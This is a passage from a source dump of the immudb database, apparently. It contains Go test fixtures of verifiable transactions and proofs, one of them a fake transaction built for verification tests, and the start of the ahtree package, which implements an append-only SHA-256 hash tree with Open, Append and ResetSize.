0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, Entries: []*schema.TxEntry{ { Key: []byte{ 0x00, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x2D, 0x6B, 0x65, 0x79, 0x2D, 0x31, }, HValue: []byte{ 0x96, 0xC7, 0xA5, 0x2E, 0x71, 0x77, 0x5F, 0x04, 0x7B, 0x28, 0x47, 0x78, 0x33, 0xF3, 0x96, 0x88, 0x8C, 0xE6, 0xEC, 0x8E, 0xA6, 0x25, 0xC8, 0x6E, 0x96, 0x25, 0xFE, 0xF8, 0x54, 0xEA, 0x20, 0xC6, }, VLen: 14, }, }, }, DualProof: &schema.DualProof{ SourceTxHeader: &schema.TxHeader{ Id: 2, PrevAlh: []byte{ 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5, 0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, TargetTxHeader: &schema.TxHeader{ Id: 3, PrevAlh: []byte{ 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81, 0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, InclusionProof: [][]byte{}, ConsistencyProof: [][]byte{}, TargetBlTxAlh: []byte{ 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, }, LastInclusionProof: [][]byte{}, LinearProof: &schema.LinearProof{ SourceTxId: 2, TargetTxId: 3, Terms: [][]byte{ { 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, }, { 0xFD, 0xAA, 0x47, 0xAF, 0x1F, 0xBE, 0x2E, 0x0E, 0x57, 0x08, 0xE7, 0x29, 0x00, 0x82, 0x94, 0x3F, 0x22, 0xB8, 0x9F, 0x97, 0x9A, 0x48, 0xE1, 0x90, 0xC2, 0x37, 0x75, 0xD2, 0xB4, 0xF0, 0xCD, 0x90, }, }, }, }, } verifiableTxById_5_3 = &schema.VerifiableTx{ Tx: &schema.Tx{ Header: &schema.TxHeader{ Id: 5, PrevAlh: []byte{ 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC, 0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA, }, BlTxId: 4, BlRoot: []byte{ 0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26, 0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C, }, }, Entries: []*schema.TxEntry{ { Key: []byte{ 0x00, 0x6B, 0x65, 0x79, 0x2D, 0x61, 0x66, 0x74, 0x65, 0x72, 0x2D, 0x31, }, HValue: []byte{ 0x67, 0x5C, 0xD3, 0xBC, 0x14, 0x05, 0xA2, 0xA5, 0x07, 0xE0, 0x03, 0xB1, 0xFA, 0xCC, 0x4D, 0xA4, 0x73, 0xE1, 0x95, 0x6C, 0x45, 0xD7, 0xC0, 0x6F, 0xBC, 0x01, 0xE3, 0xA8, 0xD9, 0x1F, 0x25, 0x6C, }, VLen: 14, }, }, }, DualProof: &schema.DualProof{ SourceTxHeader: &schema.TxHeader{ Id: 3, PrevAlh: []byte{ 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81, 0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, TargetTxHeader: &schema.TxHeader{ Id: 5, PrevAlh: []byte{ 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC, 0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA, }, BlTxId: 4, BlRoot: []byte{ 0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26, 0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C, }, }, InclusionProof: [][]byte{ { 0xD4, 0xA4, 0x6E, 0x1D, 0x3F, 0x6C, 0xF5, 0xED, 0xFE, 0x7F, 0x4F, 0x8E, 0x68, 0x34, 0x54, 0x4F, 0xED, 0x83, 0x56, 0x40, 0x88, 0x10, 0x29, 0x0E, 0xC4, 0xA3, 0x8C, 0xE0, 0xA6, 0xC8, 0x44, 0x33, }, { 0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12, 0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E, }, }, ConsistencyProof: [][]byte{ { 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, { 0xEB, 0xA0, 0xC2, 0x62, 0xC4, 0x5F, 0x64, 0xB5, 0x54, 0x29, 0x33, 0x54, 0x37, 0x33, 0x7D, 0x79, 0x33, 0x43, 0x42, 0xE2, 0xCF, 0x71, 0x87, 0x6E, 0x93, 0x0B, 0x4B, 0x19, 0x90, 0xA5, 0x56, 0x8B, }, { 0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53, 0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA, }, }, TargetBlTxAlh: []byte{ 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, }, LastInclusionProof: [][]byte{ { 0x9B, 0xE3, 0x2A, 0x61, 0x60, 0xD2, 0x7A, 0x88, 0x4B, 0xA7, 0xCF, 0xB0, 0x20, 0xCE, 0x78, 0x73, 0x5D, 0xBC, 0xCD, 0x40, 0x65, 0x23, 0xF3, 0x7D, 0x6E, 0x5A, 0xAD, 0x63, 0x39, 0xCD, 0x72, 0x73, }, { 0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12, 0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E, }, }, LinearProof: &schema.LinearProof{ SourceTxId: 4, TargetTxId: 5, Terms: [][]byte{ { 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, }, { 0x0F, 0x31, 0x18, 0xA6, 0x51, 0x1D, 0x80, 0x1F, 0xDC, 0x69, 0xA8, 0x5A, 0xEC, 0x60, 0x3B, 0x6C, 0x6B, 0xCE, 0x79, 0x1B, 0x95, 0x09, 0x48, 0x95, 0x73, 0xA0, 0xE5, 0x61, 0xF3, 0xA0, 0x0B, 0x48, }, }, }, }, } verifiableTxById_5_2_fake = &schema.VerifiableTx{ Tx: &schema.Tx{ Header: &schema.TxHeader{ Id: 2, PrevAlh: []byte{ 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x90, 0xBC, 0x22, 0xA3, 0x60, 0x0E, 0x97, 0x70, 0xA8, 0x89, 0x9C, 0x55, 0xD2, 0x7F, 0x17, 0xB0, 0xA2, 0x40, 0xEC, 0x99, 0xE2, 0x99, 0xFE, 0x26, 0xB0, 0x34, 0xBE, 0x61, 0x9C, 0x1D, 0x84, 0xEA, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, Entries: []*schema.TxEntry{ { Key: []byte{ 0x00, 0x66, 0x61, 0x6B, 0x65, 0x2D, 0x6B, 0x65, 0x79, }, HValue: []byte{ 0x1E, 0x53, 0xF2, 0x30, 0xA2, 0x8E, 0x86, 0x56, 0x31, 0xD1, 0x98, 0xB9, 0x1D, 0x03, 0x1A, 0x9E, 0x15, 0xB8, 0xA5, 0x2A, 0xAD, 0x76, 0x81, 0x33, 0x87, 0x4C, 0x86, 0xC7, 0xC3, 0x39, 0x75, 0xB1, }, VLen: 11, }, }, }, DualProof: &schema.DualProof{ SourceTxHeader: &schema.TxHeader{ Id: 2, PrevAlh: []byte{ 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x90, 0xBC, 0x22, 0xA3, 0x60, 0x0E, 0x97, 0x70, 0xA8, 0x89, 0x9C, 0x55, 0xD2, 0x7F, 0x17, 0xB0, 0xA2, 0x40, 0xEC, 0x99, 0xE2, 0x99, 0xFE, 0x26, 0xB0, 0x34, 0xBE, 0x61, 0x9C, 0x1D, 0x84, 0xEA, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, TargetTxHeader: &schema.TxHeader{ Id: 5, PrevAlh: []byte{ 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x3A, 0x14, 0xB0, 0xD7, 0xC3, 0x8A, 0xC1, 0x8C, 0xE5, 0x14, 0x30, 0x75, 0x90, 0x5D, 0x96, 0xAC, 0xB7, 0x18, 0x17, 0x6D, 0x19, 0xFE, 0xAE, 0xE1, 0x10, 0x40, 0xBC, 0xD0, 0x9E, 0x2A, 0x35, 0xDA, }, BlTxId: 4, BlRoot: []byte{ 0x0C, 0x4E, 0x7C, 0xD0, 0xE9, 0x93, 0x07, 0x96, 0x75, 0x86, 0x65, 0xD8, 0x5C, 0x79, 0xAC, 0x26, 0xE3, 0xA1, 0x7A, 0x9D, 0x18, 0x1A, 0xF0, 0x5A, 0x01, 0x48, 0x8F, 0x69, 0x52, 0xBB, 0xB7, 0x5C, }, }, InclusionProof: [][]byte{ { 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, { 0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53, 0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA, }, }, ConsistencyProof: [][]byte{ { 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, { 0xEB, 0xA0, 0xC2, 0x62, 0xC4, 0x5F, 0x64, 0xB5, 0x54, 0x29, 0x33, 0x54, 0x37, 0x33, 0x7D, 0x79, 0x33, 0x43, 0x42, 0xE2, 0xCF, 0x71, 0x87, 0x6E, 0x93, 0x0B, 0x4B, 0x19, 0x90, 0xA5, 0x56, 0x8B, }, { 0xD8, 0x08, 0xE0, 0x3F, 0xA5, 0x1C, 0xC9, 0xD5, 0xC3, 0xF9, 0x4D, 0x19, 0x12, 0x98, 0x19, 0x53, 0x68, 0x40, 0x9F, 0xC3, 0x4C, 0x0F, 0x57, 0x76, 0x41, 0x64, 0x81, 0x1F, 0x28, 0xE0, 0xF5, 0xEA, }, }, TargetBlTxAlh: []byte{ 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, }, LastInclusionProof: [][]byte{ { 0x9B, 0xE3, 0x2A, 0x61, 0x60, 0xD2, 0x7A, 0x88, 0x4B, 0xA7, 0xCF, 0xB0, 0x20, 0xCE, 0x78, 0x73, 0x5D, 0xBC, 0xCD, 0x40, 0x65, 0x23, 0xF3, 0x7D, 0x6E, 0x5A, 0xAD, 0x63, 0x39, 0xCD, 0x72, 0x73, }, { 0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12, 0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E, }, }, LinearProof: &schema.LinearProof{ SourceTxId: 4, TargetTxId: 5, Terms: [][]byte{ { 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, }, { 0x0F, 0x31, 0x18, 0xA6, 0x51, 0x1D, 0x80, 0x1F, 0xDC, 0x69, 0xA8, 0x5A, 0xEC, 0x60, 0x3B, 0x6C, 0x6B, 0xCE, 0x79, 0x1B, 0x95, 0x09, 0x48, 0x95, 0x73, 0xA0, 0xE5, 0x61, 0xF3, 0xA0, 0x0B, 0x48, }, }, }, }, } ) ================================================ FILE: embedded/ahtree/ahtree.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package ahtree import ( "crypto/sha256" "encoding/binary" "errors" "fmt" "math/bits" "os" "path/filepath" "sync" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/multierr" ) var ErrIllegalArguments = errors.New("ahtree: illegal arguments") var ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) var ErrorPathIsNotADirectory = errors.New("ahtree: path is not a directory") var ErrorCorruptedData = errors.New("ahtree: data log is corrupted") var ErrorCorruptedDigests = errors.New("ahtree: hash log is corrupted") var ErrAlreadyClosed = errors.New("ahtree: already closed") var ErrEmptyTree = errors.New("ahtree: empty tree") var ErrReadOnly = errors.New("ahtree: read-only mode") var ErrUnexistentData = errors.New("ahtree: attempt to read unexistent data") var ErrCannotResetToLargerSize = errors.New("ahtree: can not reset the tree to a larger size") const LeafPrefix = byte(0) const NodePrefix = byte(1) const Version = 1 const ( MetaVersion = "VERSION" ) const cLogEntrySize = offsetSize + szSize const offsetSize = 8 const szSize = 4 // AHtree stands for Appendable Hash Tree type AHtree struct { pLog appendable.Appendable dLog appendable.Appendable cLog appendable.Appendable pLogSize int64 dLogSize int64 cLogSize int64 latestSyncedNode uint64 cLogBuf []byte cLogBufCount int pCache *cache.Cache dCache *cache.Cache syncThld int readOnly bool closed bool mutex sync.Mutex _digests [256 * sha256.Size]byte // pre-allocated array for writing digests } func Open(path string, opts *Options) (*AHtree, error) { err := opts.Validate() if err != nil { return nil, err } finfo, err := os.Stat(path) if err != nil { if !os.IsNotExist(err) { return nil, err } err := os.Mkdir(path, opts.fileMode) if err != nil { return nil, err } } else if !finfo.IsDir() { return nil, fmt.Errorf("%w: '%s'", ErrorPathIsNotADirectory, path) } metadata := appendable.NewMetadata(nil) metadata.PutInt(MetaVersion, Version) appendableOpts := multiapp.DefaultOptions(). WithReadOnly(opts.readOnly). WithReadBufferSize(opts.readBufferSize). WithWriteBufferSize(opts.writeBufferSize). WithRetryableSync(opts.retryableSync). WithAutoSync(opts.autoSync). WithFileSize(opts.fileSize). WithFileMode(opts.fileMode). WithMetadata(metadata.Bytes()) appFactory := opts.appFactory if appFactory == nil { appFactory = func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { path := filepath.Join(rootPath, subPath) return multiapp.Open(path, opts) } } appendableOpts.WithFileExt("dat") pLog, err := appFactory(path, "data", appendableOpts) if err != nil { return nil, err } appendableOpts.WithFileExt("sha") dLog, err := appFactory(path, "tree", appendableOpts) if err != nil { return nil, err } appendableOpts.WithFileExt("di") cLog, err := appFactory(path, "commit", appendableOpts) if err != nil { return nil, err } return OpenWith(pLog, dLog, cLog, opts) } func OpenWith(pLog, dLog, cLog appendable.Appendable, opts *Options) (*AHtree, error) { if pLog == nil || dLog == nil || cLog == nil { return nil, fmt.Errorf("%w: nil appendable", ErrIllegalArguments) } err := opts.Validate() if err != nil { return nil, err } cLogSize, err := cLog.Size() if err != nil { return nil, err } rem := cLogSize % cLogEntrySize if rem > 0 { cLogSize -= rem err = cLog.SetOffset(cLogSize) if err != nil { return nil, err } } latestSyncedNode := uint64(cLogSize / cLogEntrySize) pCache, err := cache.NewCache(opts.dataCacheSlots) if err != nil { return nil, err } dCache, err := cache.NewCache(opts.digestsCacheSlots) if err != nil { return nil, err } var cLogBuf []byte if !opts.readOnly { cLogBuf = make([]byte, opts.syncThld*cLogEntrySize) } t := &AHtree{ pLog: pLog, dLog: dLog, cLog: cLog, pLogSize: 0, dLogSize: 0, cLogSize: cLogSize, latestSyncedNode: latestSyncedNode, pCache: pCache, dCache: dCache, syncThld: opts.syncThld, readOnly: opts.readOnly, cLogBuf: cLogBuf, } if cLogSize == 0 { return t, nil } var b [cLogEntrySize]byte _, err = cLog.ReadAt(b[:], cLogSize-cLogEntrySize) if err != nil { return nil, err } pOff := binary.BigEndian.Uint64(b[:]) pSize := binary.BigEndian.Uint32(b[offsetSize:]) // pOff denotes the latest payload // pSize denotes the size of the latest payload // as payloads are prefixed with the size when written into pLog // pLogSize is calculated with the offset, the size description of the payload and the payload itself t.pLogSize = int64(pOff) + int64(szSize+pSize) pLogFileSize, err := pLog.Size() if err != nil { return nil, err } if pLogFileSize < t.pLogSize { return nil, ErrorCorruptedData } t.dLogSize = int64(nodesUpto(t.latestSyncedNode) * sha256.Size) dLogSize, err := dLog.Size() if err != nil { return nil, err } if dLogSize < t.dLogSize { return nil, ErrorCorruptedDigests } return t, nil } func (t *AHtree) Append(d []byte) (n uint64, h [sha256.Size]byte, err error) { t.mutex.Lock() defer t.mutex.Unlock() if t.closed { err = ErrAlreadyClosed return } if t.readOnly { err = ErrReadOnly return } if d == nil { err = ErrIllegalArguments return } // will overwrite partially written and uncommitted data err = t.pLog.SetOffset(t.pLogSize) if err != nil { return } var dLenBs [szSize]byte binary.BigEndian.PutUint32(dLenBs[:], uint32(len(d))) poff, _, perr := t.pLog.Append(dLenBs[:]) if perr != nil { err = perr return } if len(d) > 0 { _, _, err = t.pLog.Append(d) if err != nil { return } } n = t.size() + 1 b := make([]byte, 1+len(d)) b[0] = LeafPrefix copy(b[1:], d) // payload h = sha256.Sum256(b) copy(t._digests[:], h[:]) dCount := 1 w := n - 1 l := 0 k := n - 1 for w > 0 { if w%2 == 1 { b := [1 + sha256.Size*2]byte{NodePrefix} hkl, nErr := t.node(k, l) if nErr != nil { err = nErr return } copy(b[1:], hkl[:]) copy(b[1+sha256.Size:], h[:]) h = sha256.Sum256(b[:]) copy(t._digests[dCount*sha256.Size:], h[:]) dCount++ } k = k &^ uint64(1<>= 1 l++ } // will overwrite partially written and uncommitted data err = t.dLog.SetOffset(t.dLogSize) if err != nil { return } _, _, err = t.dLog.Append(t._digests[:dCount*sha256.Size]) if err != nil { return } _, _, err = t.pCache.Put(n, b[1:]) if err != nil { return } for i := 0; i < dCount; i++ { var hb [sha256.Size]byte hbase := i * sha256.Size copy(hb[:], t._digests[hbase:hbase+sha256.Size]) np := uint64(t.dLogSize/sha256.Size) + uint64(i) _, _, err = t.dCache.Put(np, hb) if err != nil { return } } var cLogEntry [cLogEntrySize]byte binary.BigEndian.PutUint64(cLogEntry[:], uint64(poff)) binary.BigEndian.PutUint32(cLogEntry[offsetSize:], uint32(len(d))) copy(t.cLogBuf[t.cLogBufCount*cLogEntrySize:], cLogEntry[:]) t.cLogBufCount++ if t.cLogBufCount == t.syncThld { err = t.sync() if err != nil { t.cLogBufCount-- return } } t.pLogSize += int64(szSize + len(d)) t.dLogSize += int64(dCount * sha256.Size) t.cLogSize += cLogEntrySize return } func (t *AHtree) ResetSize(newSize uint64) error { t.mutex.Lock() defer t.mutex.Unlock() if t.closed { return ErrAlreadyClosed } if t.readOnly { return ErrReadOnly } currentSize := t.size() if currentSize < newSize { return ErrCannotResetToLargerSize } if currentSize == newSize { return nil } err := t.sync() if err != nil { return err } cLogSize := int64(newSize * cLogEntrySize) pLogSize := int64(0) dLogSize := int64(0) if newSize > 0 { var b [cLogEntrySize]byte _, err := t.cLog.ReadAt(b[:], cLogSize-cLogEntrySize) if err != nil { return err } pOff := binary.BigEndian.Uint64(b[:]) pSize := binary.BigEndian.Uint32(b[offsetSize:]) // pOff denotes the latest payload // pSize denotes the size of the latest payload // as payloads are prefixed with the size when written into pLog // pLogSize is calculated with the offset, the size description of the payload and the payload itself pLogSize = int64(pOff) + int64(szSize+pSize) pLogFileSize, err := t.pLog.Size() if err != nil { return err } if pLogFileSize < pLogSize { return ErrorCorruptedData } dLogSize = int64(nodesUpto(uint64(cLogSize/cLogEntrySize)) * sha256.Size) dLogFileSize, err := t.dLog.Size() if err != nil { return err } if dLogFileSize < dLogSize { return ErrorCorruptedDigests } } // Invalidate caches for i := cLogSize; i < t.cLogSize; i += cLogEntrySize { t.pCache.Pop(uint64(i / cLogEntrySize)) } for i := dLogSize; i < t.dLogSize; i += sha256.Size { t.dCache.Pop(uint64(i / sha256.Size)) } t.cLogSize = cLogSize t.pLogSize = pLogSize t.dLogSize = dLogSize t.latestSyncedNode = newSize return nil } func (t *AHtree) node(n uint64, l int) (h [sha256.Size]byte, err error) { return t.nodeAt(nodesUntil(n) + 